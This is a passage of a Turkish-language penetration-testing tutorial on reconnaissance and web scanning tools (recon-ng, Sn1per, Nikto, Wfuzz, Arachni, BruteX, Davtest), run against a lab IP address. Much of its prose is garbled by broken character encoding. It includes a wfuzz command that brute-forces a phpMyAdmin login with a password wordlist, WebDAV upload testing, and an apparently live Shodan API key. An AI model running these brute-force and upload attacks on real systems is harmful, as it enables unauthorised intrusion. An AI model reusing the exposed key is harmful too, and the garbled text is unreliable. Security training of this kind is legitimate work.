[*] Next page available! Requesting again... 

[*] Sleeping to Avoid Lock-out... 



[*] URL: http://searchdns.netcraft.com/?{'restriction': 'site+ends+with', 'host': 'facebook.com', 'last': 'elkjopnordic.facebook.com', 'from': 

'61'} 

[*] [host] www.graph.facebook.com (<blank>) 

[*] [host] blog.facebook.com (<blank>) 

[*] [host] code.facebook.com (<blank>) 

[*] [host] ro-ro.facebook.com (<blank>) 

[*] [host] m2.facebook.com (<blank>) 

------- 

SUMMARY 

------- 

[*] 65 total (65 new) hosts found. 

 

5ŀƘŀ ŦŀȊƭŀ ǎƻƴǳœ ŜƭŘŜ ŜǘƳŜƪ ƛœƛƴ recon/domains-hosts/bing_domain_web  veya recon/domains-hosts/google_site_web gibi 

modulleri ŘŜ ƪǳƭƭŀƴŀǊŀƪ ƪŀǊǒƤƭŀǒǘƤǊƳŀ ȅŀǇŀōƛƭƛǊǎƛƴƛȊΦ 

recon/hosts-hosts/resolve ƪƻƳǳǘǳƴǳ ƪǳƭƭŀƴŀǊŀƪ ƛǎƛƳƭŜǊŘŜƴ LǇƭŜǊƛƴƛ œǀȊǸƳƭŜȅŜōƛƭƛǊǎƛƴƛȊΦ  

5ƛƐŜǊ ǘǸƳ ƳƻŘǸƭƭŜǊƛƴ ƪǳƭƭŀƴƤƳƤ ŀȅƴƤ ǒŜƪƛƭŘŜ ƭƻŀŘ ғƳƻŘǳƭ ŀŘƤҔ ǾŜ ǎƻƴǊŀǎƤƴŘŀ Ǌǳƴ ŘƛȅŜǊŜƪ ƛǎǘŜƴƛƭŜƴ ŘƛƐŜǊ 

ǘǸƳ ōƛƭƎƛ ǘƻǇƭŀƳŀȅƤ yapabilirsiniz. 

.ŀȊƤ ƳƻŘǳƭƭŜǊ ƛœƛƴ !tL ƪŜȅΩƭŜǊŜ ƛƘǘƛȅŀœ ŘǳȅǳƭƳŀƪǘŀŘƤǊΦ .ƛƴƎ ǒǳ ŀƴŘŀ ŀǇƛψƪŜȅΩƛ ǸŎǊŜǘƭƛ ǾŜǊƛǊƪŜƴ ǎƘƻŘŀƴ 

ƛœƛƴ ǎŀŘŜŎŜ ƪŀȅƤǘ ȅŀǇǘƤǊƳŀƴƤȊ ȅŜǘŜǊƭƛ ƻƭŀŎŀƪǘƤǊΦ 

 

!tLψƪŜȅΩƛ ŀƭŘƤƪǘŀƴ ǎƻƴǊŀ ŀǒŀƐƤŘŀƪƛ ƪƻƳǳǘǳ ƪǳƭƭŀƴŀǊŀƪ ƪŜȅΩƛ ŜƪƭŜȅŜōƛƭƛǊǎƛƴƛȊΦ 

[recon-ng][user][shodan_net] > keys add shodan_api jE9o9DQwDOM5Lp3FtAROmOiIszcUCKOf 

{Ƙƻǿ ŘŀǎƘōƻŀǊŘ ƪƻƳǳǘǳ ƛƭŜ ǘǸƳ œŀƭƤǒƳŀƭŀǊƤƴƤȊƤƴ ǎƻƴǳŎǳƴǳ ƎǀǊŜōƛƭƛǊǎƛƴƛȊΦ [ƛǎǘŜƭŜƳŜƪ ƛǎǘŜŘƛƐƛƴƛȊ 

kategori ƛœƛƴ ǎƘƻǿ ғƪŀǘŜƎƻǊƛ ŀŘƤҔ ȅŀȊŀǊŀƪ œƤƪǘƤƭŀǊƤ ƎǀǊŜōƛƭƛǊǎƛƴƛȊΦ 

ƪŀǘŜƎƻǊƛ ƛœƛƴ ǎƘƻǿ ғƪŀǘŜƎƻǊƛ ŀŘƤҔ ȅŀȊŀǊŀƪ œƤƪǘƤƭŀǊƤ ƎǀǊŜōƛƭƛǊǎƛƴƛȊΦ 



 

4ŀƭƤǒƳŀƭŀǊƤƴƤȊƤƴ ǎƻƴǳŎǳƴǳ ŎǎǾΣ ƘǘƳƭΣ ȄƳƭ Ǿǎ ŦƻǊƳŀǘƭŀǊŘŀ ŘƤǒŀǊƤȅŀ ŀƭŀōƛƭƛǊǎƛƴƛȊΦ 

 

 

 

 

 

 

 

 

 

 

 

 



Sn1per: 
{ƴƛǇŜǊ ƘŜŘŜŦ ŘƻƳŀƛƴ ƘŀƪƪƤƴŘŀ ōƛƭƎƛ ŜƭŘŜ ŜǘƳŜƪ ŀƳŀŎƤȅƭŀ ƪǳƭƭŀƴƤƭŀƴ ƻǘƻƳŀǘƛȊŜ ōƛǊ ŀǊŀœǘƤǊΦ wŜŎƻƴ-ng de 

ƘŜǊ ƛǎǘŜŘƛƐƛƴƛȊ ōƛƭƎƛ ƛœƛƴ ŀȅǊƤ ŀȅǊƤ ƳƻŘǸƭ ōǳƭǳȅƻǊ ƛƪŜƴΣ ǎƴƛǇŜǊΣ ǘŜƪ ōƛǊ ƪƻƳǳǘ ƛƭŜ ƘŜŘŜŦ ŘƻƳŀƛƴ ƘŀƪƪƤƴŘŀ 

ŀǒŀƐƤŘŀƪƛ ǘǸƳ ōƛƭƎƛƭŜǊƛ ƻǘƻƳŀǘƛƪ ƻƭŀǊŀk ƎŜǘƛǊƳŜǎƛƴƛ ǎŀƐƭŀǊΦ 

Whois, DNS, ping Ǝƛōƛ ǘŜƳŜƭ ƪŀȅƤǘƭŀǊΣ 

DƻƻƎƭŜ ƘŀŎƪƛƴƎ ȅǀƴǘŜƳƛȅƭŜ ōƛƭƎƛ ǘƻǇƭŀƳŀΣ !œƤƪ ǇƻǊǘƭŀǊΣ Sub-domainler, bƳŀǇ ǎŎǊƛǇƭŜǊƛ œŀƭƤǒǘƤǊƳŀΣ ¢ǸƳ 

ǿŜō ǳȅƎǳƭŀƳŀƭŀǊƤƴŘŀ ǾŜ ƘŜŘŜŦ LtΩƭŜǊŘŜ ȊŀŀŦƛȅŜǘƭŜǊƛ ǘŜǎǇƛǘ ŜǘƳŜΣ !œƤƪ ǎŜǊǾƛǎƭŜǊŜ ƻǘƻƳŀǘƛƪ ƻƭŀǊŀƪ ƪŀōŀ 

ƪǳǾǾŜǘ ǎŀƭŘƤǊƤǎƤ ȅŀǇƳŀΣ ½ŀŀŦƛȅŜǘƭŜǊƛ ǎǀƳǸǊƳŜȅŜ œŀƭƤǒƳŀ ǾŜ ǎƘŜƭƭ ŀƭƳŀΣ hǘƻƳŀƛƪ ƻƭŀǊŀƪ ŘƻƳŀƛƴ ƛœƛƴ 

ǿƻǊƪǎǇŀŎŜ ƻƭǳǒǘǳǊǳǇΣ ǘǸƳ ǎƻƴǳœƭŀǊƤ ǊŀǇƻǊƭŀȅŀƳŀ Ǝƛōƛ ǘŜƪ ōƛǊ ƪƻƳǳǘƭŀ ǘǸƳ ōƛƭƎƛƭŜǊƛ ƎŜǘƛǊŜōŜƭƛǊƛȊΦ 

YǳƭƭŀƴƤƳƤΥ 

YŀƭƛŘŜ ǾŀǊǎŀȅƤƭŀƴ ƻƭŀǊŀƪ ƎŜƭƳŜƳŜƪǘŜŘƛǊΦ DƛǘƘǳō Řŀƴ ŀǒŀƐƤŘŀƪƛ ƪƻƳǳǘƭŀǊ œŀƭƤǒǘƤǊƤƭŀǊŀƪ ƛƴŘƛǊƛƭƛǇ 

œŀƭƤǒǘƤǊƤƭŀōƛƭƛǊΦ 

Yŀƭƛ ŘŜ ǘƻƻƭǎ ŘƛȅŜ ōƛǊ ƪƭŀǎǀǊ ƻƭǳǒǘǳǊǳǇ ǎƴƛǇŜǊ ŀǊŀŎƤƴƤ ƛƴŘƛǊƛǇ ƪǳǊǳȅƻǊǳƳ 

root@kali:~/tools/sn1per# git clone https://github.com/1N3/Sn1per.git 

sniper <hedef domain> ŘŜƳŜƳƛȊ ȅŜǘŜǊƭƛΦ .ƛǊ œƻƪ ōƛƭƎƛȅƛ ƎŜǘƛǊŜŎŜƐƛ ƛœƛƴ ǘŀǊŀƳŀ ǳȊǳƴ ǎǸǊŜŎŜƪǘƛǊΦ 

 

¢ŀǊŀƳŀƴƤƴ ǎƻƴǳƴŘŀ ǊŀǇƻǊ ƛǎǘƛȅƻǊǎŀƴƤȊ 

./sniper <hedef domain> report ƪƻƳǳǘǳƴǳ ƪǳƭƭŀƴŀōƛƭƛǊǎƛƴƛȊΦ ¢ŀǊŀƳŀƴƤƴ ǎƻƴǳƴŘŀ ǊŀǇƻǊ ƭƻƻǘ 

ƪƭŀǎǀǊǸƴǸƴ ŀƭǘƤƴŘŀ ƘŜŘŜŦ ŘƻƳŀƛƴ ŀŘƤƴŘŀ ƻƭǳǒǘǳǊǳƭŀŎŀƪǘƤǊΦ 

 

 

https://github.com/1N3/Sn1per.git


Nikto: 
bƛƪǘƻ ŀǊŀŎƤΣ ǿŜō ǳȅƎǳƭŀƳŀƭŀǊƤƴŘŀ ōǳƭǳƴŀƴ ȊŀŀŦƛȅŜǘƭŜǊƛ ǘŜǎǇƛǘ ŜǘƳŜƪ ŀƳŀŎƤȅƭŀ ƪǳƭƭŀƴƤƭŀƴΣ ƪǳƭƭŀƴƤƳƤ 

ƻƭŘǳƪœŀ ōŀǎƛǘ ǸŎǊŜǘǎƛȊΣ ŀœƤƪ ƪŀȅƴŀƪ ƎǸǾŜƴƭƛƪ ŀǊŀŎƤŘƤǊΦ  

bƛƪǘƻ ŀǊŀŎƤƴƤƴ ǀȊŜƭƭƛƪƭŜǊƛΥ 

SSL ve HTTP proxy desteklemektedir. 

¦ȅƎǳƭŀƳŀ ǎǳƴǳŎǳǎǳƴǳƴ ƎǸƴŎŜƭ ƻƭǳǇ ƻƭƳŀŘƤƐƤƴƤ ǘŜǎǇƛǘ ŜŘŜōƛƭƳŜƪǘŜŘƛǊΦ 

IŜŀŘŜǊ ōƛƭƎƛǎƛƴŘŜƴ ȅŀȊƤƭƤƳ ōƛƭƎƛǎƛƴƛ ŜƭŘŜ ŜŘŜōƛƭƛǊΦ 

!ƭǘŘƻƳŀƛƴ ōƛƭƎƛǎƛƴƛΣ ƪƭŀǎǀǊ ōƛƭƎƛǎƛƴƛ ǘŜǎǇƛǘ ŜŘŜōƛƭƳŜƪǘŜŘƛǊΦ 

½ŀŀŦƛȅŜǘ ōƛƭƎƛǎƛƴƛ ƎǸƴŎŜƭ h{±5. ŘŜƴ ƪƻƴǘǊƻƭ ŜŘŜōilmektedir. 

Tarama sonucunu  text, XML, HTML, NBE ve CSV ŦƻǊƳŀǘƤƴŘŀ ƪŀȅŘŜŘŜōƛƭƳŜƪǘŜŘƛǊΦ 

9ƴ ōŀǎƛǘ ƪǳƭƭŀƴƤƳƤΤ 

nikto -h <hedef site veya ip> 

{Ƥƪ ƪǳƭƭŀƴƤƭŀƴ ǇŀǊŀƳŜǘǊŜƭŜǊƛƴŜ ōŀƪŀŎŀƪ ƻƭǳǊǎŀƪΣ 

./nikto -I ƪƻƳǳǘǳȅƭŀ ȅŀǊŘƤƳ ƳŜƴǸǎǸƴŜ ŜǊƛǒŜōƛƭƛǊǎƛƴƛȊΦ 

-h  hedef site vŜȅŀ Tt 

-nolookup DNS lookup yapma 

-list-plugins Pluginleri listele 

-nossl  SSL kullanma 

-ssl  SSL kullanmaya zorla 

-Tuning+            ¢ŀǊŀƳŀ ŀȅŀǊƭŀǊƤ 

                               1     Interesting File / Seen in logs 

                               2     Misconfiguration / Default File 

                               3     Information Disclosure 

                               4     Injection (XSS/Script/HTML) 

                               5     Remote File Retrieval - Inside Web Root 

                               6     Denial of Service 

                               7     Remote File Retrieval - Server Wide 

                               8     Command Execution / Remote Shell 

                               9     SQL Injection 

                               0     File Upload 

                               a     Authentication Bypass 

                               b     Software Identification 



                               c     Remote Source Inclusion 

                               d     WebService 

                               e     Administrative Console 

                               x     Reverse Tuning Options (i.e., include all except specified) 

-update            CIRT.net ŘŜƴ ǾŜǊƛǘŀōŀƴƤƴƤ ǾŜ ǇƭǳƎƛƴƭŜǊƛ ƎǸƴŎŜƭƭŜ 

-useproxy proxy kullan 

-Format ǘŀǊŀƳŀƴƤƴ œƤƪǘƤ ŦƻǊƳŀǘƤ 

 

¢ǳƴƛƴƎ ǇŀǊŀƳŜǘǊŜƭŜǊƛȅƭŜ ǘŀǊŀƳŀȅŀ ŘŀƘŀ Řŀ ǀȊŜƭƭŜǒǘƛǊŜōƛƭƛǊ ǾŜȅŀ ƛǎǘŜŘƛƐƛƴƛȊ ŦƻǊƳŀǘǘŀ ƪŀȅŘŜŘŜōƛƭƛǊǎƛƴƛȊΦ 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



Wfuzz: 
Wfuzz ŀǊŀŎƤΣ ƘŜŘŜŦ ŘƻƳŀƛƴŜ ŀƛǘ ǿŜō ǳȅƎǳƭŀƳŀƭŀǊƤƴŀ ƪŀǊǒƤ ȅŀǇƤƭŀƴ ōƛǊ ƪŜǒƛŦ ŀǊŀŎƤŘƤǊΦ ²Ŝō ǎƛǎǘŜǎƛƴƛƴ 

ŀƭǘƤƴŘŀ ōǳƭǳƴŀƴ ŘƛȊƛƴΣ Řƻǎȅŀ ǾŜ ŦƻǊƳƭŀǊƤ ƪŜƴŘƛ ōǸƴȅŜǎƛƴŘŜ ōǳƭǳƴŀƴ ǎǀȊƭǸƪƭŜǊ ȅŀǊŘƤƳƤȅƭŀ ǘŜǎǇƛǘ ŜǘƳŜȅŜ 

œŀƭƤǒƤǊΦ ¢ŜǎǇƛǘ ƻƭƳǳǒ ƻƭŘǳƐǳ ŦƻǊƳƭŀǊŀ ƪŀōŀ ƪǳǾǾŜǘ ǎŀƭŘƤǊƤǎƤ ȅŀǇŀǊŀƪ ƻǘǳǊǳƳ ŀœƳŀ ŘŜƴŜƳŜƭŜǊƛ ȅŀǇŀōƛƭŜƴ 

ōƛǊ ŀǊŀœǘƤǊΦ ¢ŀǊŀƳŀƴƤƴ ǎƻƴǳœƭŀǊƤƴƤ ǊŜƴƪƭŜǊƭŜ ƎǀǊǎŜƭƭŜǒǘƛǊŜōƛƭƛǊǎƛƴƛȊΦ 

{Ƥƪ ƪǳƭƭŀƴƤƭŀƴ ǇŀǊŀƳŜǘǊŜƭŜǊŜ ōŀƪŀƭƤƳΣ 

-c       : tarama sonucunu renklendirir 

-v       Υ ǾŜǊōƻǎŜ ǎŜœŜƴŜƐƛƴƛ ŜǘƪƛƴƭŜǒǘƛǊƛǊ 

-p addr       : proxy kuƭƭŀƴƤƳƤƴƤ ŜǘƪƛƴƭŜǒǘƛǊƛǊΦ CƻǊƳŀǘƤ ƛǇΥǇƻǊǘΥǘȅǇŜ 

     ¢ȅǇŜ ǎŜœŜƴŜƪƭŜǊƛ {h/Y{пΣ{h/Y{р 

-I       Υ I¢¢t I9!5 ƳŜǘƘƻŘǳƴǳ ƪǳƭƭŀƴƤǊΦ  

--follow          Υ I¢¢t ǊŜŘƛǊŜŎǘƛƻƴƭŀǊƤ ǘŀƪƛǇ ŜŘŜǊΦ 

-Z       Υ ¢ŀǊŀƳŀό{Ŏŀƴύ ƳƻŘŜ όōŀƐƭŀƴǘƤ ƘŀǘŀƭŀǊƤ ŘƛƪƪŀǘŜ ŀƭƤƴƳŀȊύΦ 

-z payload      Υ ǇŀȅƭƻŀŘ ǘŀƴƤƳƭŀǎƤ ƛœƛƴ ƪǳƭƭŀƴƤƭƤǊ 

-b cookie      Υ ƛǎǘŜƪ όǊŜǉǳŜǎǘύ ƛœƛƴ ŎƻƻƪƛŜ ƪǳƭƭŀƴƤǊ 

-d postdata       Υ Ǉƻǎǘ Řŀǘŀ ƪǳƭƭŀƴƤǊ όǀǊƴΥ ϦƛŘҐC¦½½ϧŎŀǘŀƭƻƎǳŜҐмϦύ 

-H headers   Υ ƘŜŀŘŜǊ ƭŀǊƤ ƪǳƭƭŀƴƤǊ 

όǀǊƴΥϦIƻǎǘΥǿǿǿΦƳȅǎƛǘŜΦŎƻƳΣ/ƻƻƪƛŜΥƛŘҐмомнонмϧǳǎŜǊҐC¦½½Ϧύ 

--basic/ntlm/digest auth   : "user:pass" veya "FUZZ:FUZZ" veya "domain\FUZ2Z:FUZZ" olarak 

ƪǳƭƭŀƴƤƭƤǊ 

--hc/hl/hw/hh N[,N]+      Υ ōŜƭƭƛ ƪƻŘŘŀ ŘǀƴŜƴ ȅŀƴƤǘƭŀǊƤ ƎƛȊƭŜǊΦ  

--sc/sl/sw/sh N[,N]+     Υ ōŜƭƭƛ ƪƻŘŘŀ ŘǀƴŜƴ ȅŀƴƤǘƭŀǊƤ ƎǀǎǘŜǊƛǊ 

--filter <filter>           Υ ¸ŀƴƤǘƭŀǊƤ ŦƛƭǘǊŜƭŜǊΥ ŎΣƭΣǿΣƘκŀƴŘΣƻǊκҐΣғΣҔΣΗҐΣғҐΣҔҐ 

 

 

YǳƭƭŀƴƤƳƤ:  

wfuzz.py [options] -z payload,params <url>  



IŜǊ ǇŀȅƭƻŀŘ ƛœƛƴ ƛƭƎƛƭƛ ŀƭŀƴŀ C¦½½ ƪŜƭƛƳŜǎƛ ƪǳƭƭŀƴƤȅƻǊǳȊΦ .ƛǊŘŜƴ œƻƪ Ǉŀȅƭoad var ise FUZZ, FUZ2Z, FUZ3Z 

vs. 

!ǒŀƐƤŘŀƪƛ ƪƻƳǳǘ мфнΦмсуΦмрнΦмор ǿŜō ǎǳƴǳŎǳǎǳƴŘŀƪƛ ŘƛȊƛƴΣŘƻǎȅŀ ǾŜ ŦƻǊƳƭŀǊƤ ƪŜǒŦŜŘŜǊΦ 

wfuzz -c -z file,' /usr/share/wordlists/wfuzz/ general/common.txt' -v --hc 404 

http://192.168.152.135/FUZZ 

¢ŜǎǇƛǘ ŜǘƳƛǒ ƻƭŘǳƐǳ http://192.168.152.135/phpMyAdmin/ ŦƻǊƳǳƴŀ ƪǳƭƭŀƴƤŎƤ ŀŘƤ ŀŘƳƛƴ ǾŜ ǊƻƻǘΣ ǒƛŦǊŜ 

ƻƭŀǊŀƪ Řŀ ǿƻǊŘƭƛǎǘƛƳƛȊŘŜ ōǳƭǳƴŀƴ ŎƻƳƳƻƴψǇŀǎǎΦǘȄǘ ŘƻǎȅŀǎƤƴƤ ƪǳƭƭŀƴŀǊŀƪΣ ǎŀŘŜŎŜ нлл ȅŀƴƤǘƭŀǊƤƴƤ 

ƎŜǘƛǊŜŎŜƪ ōƛǊ ǎǀȊƭǸƪ ŀǘŀƐƤ ƛœƛƴ ŀǒŀƐƤŘŀƪƛ ƪƻƳǳǘǳ ƪǳƭƭŀƴŀōƛƭƛǊǎƛƴƛȊΦ 

wfuzz -c -z list,admin-root -z file,' /usr/share/wfuzz/wordlist/others/common_pass.txt' -v ςsc 200 -

b "pma_username=FUZZ&pma_password=FUZ2Z" http://192.168.152.135/phpMyAdmin/ 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

http://192.168.152.135/FUZZ
http://192.168.152.135/phpMyAdmin/
http://192.168.152.135/phpMyAdmin/


Arachni: 
Arachni ŀǊŀŎƤΣ ǎƤȊƳŀ ǘŜǎǘƛ ǳȊƳŀƴƭŀǊƤ ǘŀǊŀŦƤƴŘŀƴ ƪǳƭƭŀƴƤƭŀƴ ǿŜō ƎǸǾŜƴƭƛƪ ŀƴŀƭƛȊƛ ȅŀǇŀƴΣ ŀœƤƪ ƪŀȅƴŀƪ 

ǸŎǊŜǘǎƛȊ ōƛǊ ȅŀȊƤƭƤƳŘƤǊΦ !ǊŀŎƘƴƛ ŀǊŀŎƤΣ ƛœŜǊƛǎƛƴŘŜ ōǳƭǳƴŀƴ ōƛǊœƻƪ ƳƻŘǸƭ ǎŀȅŜǎƛƴŘŜΣ ǿŜō ƎǸǾŜƴƭƛƐƛ 

ŀƴŀƭƛȊƛƴŘŜ ƪǳƭƭŀƴƤƭŀƴ ōƛǊœƻƪ ȊŀŀŦƛȅŜǘ ǘŀǊŀƳŀǎƤƴƤ ƻǘƻƳŀǘƛƪ ƻƭŀǊŀƪ ȅŀǇŀōƛƭƳŜƪǘŜŘƛǊΦ ²Ŝō ǳȅƎǳƭŀƳŀǎƤƴŘŀƴ 

ŀƭŘƤƐƤ ȅŀƴƤǘƭŀǊ ǎŀȅŜǎƛƴŘŜ ƪŜƴŘƛ ƪŜƴŘƛƴŜ ǀƐǊŜƴƳŜ ȅŜǘŜƴŜƐƛ ŘŜ ōǳƭǳƴƳŀƪǘŀŘƤǊΦ 

!ǊŀŎƘƴƛ ŀǊŀŎƤȅƭŀ ŀǒŀƐƤŘŀƪƛ ǘǸƳ ȊŀŦƛȅŜǘƭŜǊ ƛœƛƴ ǘŀǊŀƳŀ ȅŀǇƤƭŀōƛƭƛǊΦ 

arachni --checks-list | grep [*]  

[*] session_fixation: 

[*] os_cmd_injection_timing: 

[*] unvalidated_redirect_dom: 

[*] trainer: 

[*] ldap_injection: 

[*] code_injection_php_input_wrapper: 

[*] xss_dom_script_context: 

[*] xss_event: 

[*] rfi:  

[*] xss_dom: 

[*] xpath_injection: 

[*] os_cmd_injection: 

[*] code_injection: 

[*] xss_tag: 

[*] sql_injection_differential: 

[*] sql_injection: 

[*] code_injection_timing: 

[*] xss_script_context: 

[*] sql_injection_timing: 

[*] xss_path: 

[*] file_inclusion: 

[*] unvalidated_redirect: 

[*] source_code_disclosure: 

[*] path_traversal: 

[*] xss: 

[*] csrf: 

[*] no_sql_injection: 

[*] xxe: 

[*] response_splitting: 

[*] no_sql_injection_differential: 

[*] interesting_responses: 



[*] htaccess_limit: 

[*] insecure_cross_domain_policy_access: 

[*] insecure_client_access_policy: 

[*] localstart_asp: 

[*] backup_files: 

[*] http_put: 

[*] common_files: 

[*] credit_card: 

[*] insecure_cors_policy: 

Checks the host for a wildcard (`*`) `Access-Control-Allow-Origin` header. 

[*] hsts: 

[*] password_autocomplete: 

[*] unencrypted_password_forms: 

[*] form_upload: 

[*] cvs_svn_users: 

[*] emails: 

[*] x_frame_options: 

[*] insecure_cookies: 

[*] captcha: 

[*] private_ip: 

[*] ssn: 

[*] cookie_set_for_parent_domain: 

[*] http_only_cookies: 

[*] html_objects: 

[*] mixed_resource: 

[*] backup_directories: 

[*] allowed_methods: 

[*] origin_spoof_access_restriction_bypass: 

[*] directory_listing: 

[*] common_directories: 

[*] insecure_cross_domain_policy_headers: 

[*] xst: 

[*] common_admin_interfaces: 

[*] webdav: 

[*] backdoors: 

 

 

 



YǳƭƭŀƴƤƳƤ: 

arachni <hedef site veya hedef IP> parametre 

arachni http://192.168.152.135 YƻƳǳǘǳ ƪǳƭƭŀƴƤƭŘƤƐƤƴŘŀ ǘǸƳ ȊŀŀŦƛȅŜǘƭŜǊ ƪƻƴǘǊƻƭ ŜŘƛƭƛǊΦ 

./arachni http://192.168.152.135 --checks xss*  Ȅǎǎ ƛƭŜ ƛƭƎƛƭƛ ǘǸƳ ƪƻƴǘǊƻƭƭŜǊ ȅŀǇƤƭƤǊΦ 

./arachni http://192.168.152.135   --checks=*,-backup_files,-xss  ά-ά ƛƭŜ ƘŀǊƛœ ǘǳǘǳƭǳǊ 

./arachni http://192.168.152.135 --http-proxy ADDRESS:PORT ǇǊƻȄȅ ƪǳƭƭŀƴƤƭƤǊΦ 

./arachni --checks-list ƪƻƳǳǘǳȅƭŀ ȊŀŀŦƛȅŜǘ ƳƻŘǸƭƭŜǊƛƴƛƴ ŘŜǘŀȅƭŀǊƤƴƤ ƎǀǊŜōƛƭƛǊǎƛƴƛȊΦ 

[*] session_fixation: 

-------------------- 

Name:  Session fixation 

Description:  

Checks whether or not the session cookie can be set to an arbitrary value. 

 

Severity: High 

Elements: form, link, link_template 

Author:  Tasos "Zapotek" Laskos <tasos.laskos@arachni-scanner.com> 

Version: 0.1.2 

Path: /pentest/vulnerability-analysis/arachni/components/checks/active/session_fixation.rb 

 ƛƳŘƛ мфнΦмсуΦмрнΦмор LtΩǎƛƴŘŜ Ȅǎǎ ƛœƛƴ ǘŀǊŀǘǘƤǊŀƭƤƳΦ 

arachni http://192.168.152.135 --checks xss* 

 

http://192.168.152.135/
http://192.168.152.135/
http://192.168.152.135/
http://192.168.152.135/
http://192.168.152.135/


BruteX: 
.ǊǳǘŜȄ ŀǊŀŎƤΣ ǎŀŘŜŎŜ ƘŜŘŜŦ ŘƻƳŀƛƴ ƘŀƪƪƤƴŘŀ ǎŀŘŜŎŜ ƛǇ ōƛƭƎƛǎƛƴŜ ǎŀƘƛǇ ƻƭƳŀƴƤȊ ȅŜǘŜǊƭƛΦ 4ǸƴƪǸ ōǳ ŀǊŀœ 

ǎƛȊƛƴ ƛœƛƴ ƘŜŘŜŦ ŘƻƳŀƛƴŜ ǎƤȊƳŀƪ ƛœƛƴ ōƛǊœƻƪ ǒŜȅƛ ǘŜƪ ōƛǊ ƪƻƳǳǘƭŀ ƻǘƻƳŀǘƛƪ ƻƭŀǊŀƪ ȅŀǇŀŎŀƪǘƤǊΦ {ƛȊƛƴ ƛœƛƴ 

ŀœƤƪ ǇƻǊǘƭŀǊƤΣ ǎŜǊǾƛǎƭŜǊƛΣ Řƴǎ ōƛƭƎƛǎƛƴƛ ǾŜ ōǳ ōƛƭƎƛƭŜǊŜ ƪŀōŀ ƪǳǾǾŜǘ ǎŀƭŘƤǊƤǎƤƴƤ ƻǘƻƳŀǘƛƪ ƻƭŀǊŀƪ ȅŀǇŀǊŀƪ ǎƛȊŜ 

ǎŜǊǾƛǎƭŜǊƭŜ ƛƭƎƛƭƛ ƪǳƭƭŀƴƤŎƤ ŀŘƤ ǾŜ ǒƛŦǊŜƭŜǊƛ ƎŜǘƛǊŜŎŜƪǘƛǊΦ .ǳ ŀǊŀœ ƛƭŜ ƴŜ ƴƳŀǇ ƪƻƳǳǘƭŀǊƤƴƤ ƴŜ ŘŜ ƪŀōŀ ƪǳǾǾŜǘ 

ǎŀƭŘƤǊƤǎƤ ŀǊŀŎƤƴƤ ōƛƭƳŜƴƛȊŜ ƎŜǊŜƪ ƪŀƭƳŀȅŀŎŀƪǘƤǊΦ 

YǳƭƭŀƴƤƳƤ:  

ōǊǳǘŜȄ ғƛǇ ŀŘǊŜǎƛ ǾŜ ōƭƻƐǳҔ 

мфнΦмсуΦмрнΦмор ƛǇΩǎƛƴŜ ȅŀǇǘƤƐƤƳƤȊ ǘŀǊŀƳŀŘŀ ƎǀǊǸƭŘǸƐǸ Ǝƛōƛ ǇƻǊǘ ǾŜ ǎŜǊǾƛǎƭŜǊƛ ǘŜǎǇƛǘ ŜǘǘƛΣ ǘŜǎǇƛǘ ŜǘǘƛƐƛ 

ǎŜǊǾƛǎƭŜǊŜ ōǊǳǘŜ ŦƻǊŎŜ ǳȅƎǳƭŀȅƤǇΣ ƪǳƭƭŀƴƤŎƤ ŀŘƤ ǾŜ ǒƛŦǊŜƭŜǊƛ tespit etmektedir. 

 

 

 

 

 

 

 



Davtest: 
5ŀǾǘŜǎǘ ŀǊŀŎƤƴƤ ŀƴƭŀǘƳŀŘŀƴ ǀƴŎŜ ǿŜōŘŀǾΩƤƴ ƴŜ ƻƭŘǳƐǳƴǳ ŀƴƭŀǘŀƭƤƳΦ 

²ŜōŘŀǾΣ ƘǘǘǇ ǇǊƻǘƻƪƻƭǸ ǸȊŜǊƛƴŘŜ ǳȊŀƪ ǎǳƴǳŎǳ ǸȊŜǊƛƴŘŜ Řƻǎȅŀ ƛǒƭŜƳƭŜǊƛƴƛ ȅŀǇƳŀȅŀ ŀǊŀȅŀƴΣ ǿŜō 

ǎǳƴǳŎǳ ǀȊŜƭƭƛƐƛŘƛǊΦ 

Apache ǿŜō ǎǳƴǳŎǳŘŀ ōǳ ǀȊŜƭƭƛƪ ƪŀǇŀƭƤ ƻƭŀǊŀƪ ƎŜƭƳŜƪǘŜŘƛǊΦ .ǳ ǀȊŜƭƭƛƐƛ ŀœƳŀƪ ƎŜǊŜƪƛǊΦ ²ƛƴŘƻǿǎ Řŀ ƛǎŜ 

LL{ сΦл ǎƻƴǊŀǎƤ ƛœƛƴ ōǳ ǀȊŜƭƭƛƪ ǾŀǊǎŀȅƤƭŀƴ ƻƭŀǊŀƪ ƪŀǇŀƭƤŘƤǊΦ  

5ŀǾǘŜǎǘ ŀǊŀŎƤΣ ǿŜōŘŀǾ ǀȊŜƭƭƛƐƛ ŀœƤƪ ƻƭŀƴ ǿŜō ǎǳƴǳŎǳƭŀǊŘŀ Řƻǎȅŀ ȅǸƪƭŜƳŜ ǘŜǎǘƛ ȅŀǇŀǊŀƪΣ œŀƭƤǒǘƤǊƤƭŀōƛƭir 

ŘƻǎȅŀƭŀǊƤ ƪŀōǳƭ ŜŘƛǇ ŜǘƳŜŘƛƐƛΣ ŜȄŜ ŘƻǎȅƭŀǊƤƴƤ ǘȄǘ ŦƻǊƳŀǘƤƴŘŀ ƎǀƴŘŜǊƛǇΣ ǎǳƴǳŎǳŘŀ ǳȊŀƴǘƤǎƤƴƤ 

ŘŜƐƛǒǘƛǊŜǊŜƪΣ ǳȊŀƪǘŀƴ ƪƻŘ œŀƭƤǒǘƤǊƳŀȅƤ ǘŜǎǘ ŜŘŜǊΦ 

YǳƭƭŀƴƤƳƤ: 

 davtest -url <url adresi> 

!ǒŀƐƤŘŀƪƛ ƪƻƳǳǘƭŀ ƘŜŘŜŦ ǎǳƴǳŎǳŘŀ ǿŜōŘŀǾΩƤƴ ŀœƤƪ ƻƭǳǇ ƻƭƳŀŘƤƐƤ ǾŜ ƘŀƴƎƛ ŘƻǎȅŀƭŀǊƤ ŀǘŀōƛƭŘƛƐƛƳƛȊƛ ǘŜǎǘ 

ŜŘŜŎŜƐƛȊΦ 

davtest -url http://192.168.152.135 

********************************************************  

 Testing DAV connection 

OPEN        SUCCEED:        http:// 192.168.152.135 

********************************************************  

NOTE    Random string for this session: B0yG9nhdFS8gox 

********************************************************  

 Creating directory 

MKCOL       SUCCEED:        Created http:// 192.168.152.135/DavTestDir_B0yG9nhdFS8gox 

********************************************************  



 Sending test files 

PUT asp FAIL 

PUT cgi FAIL 

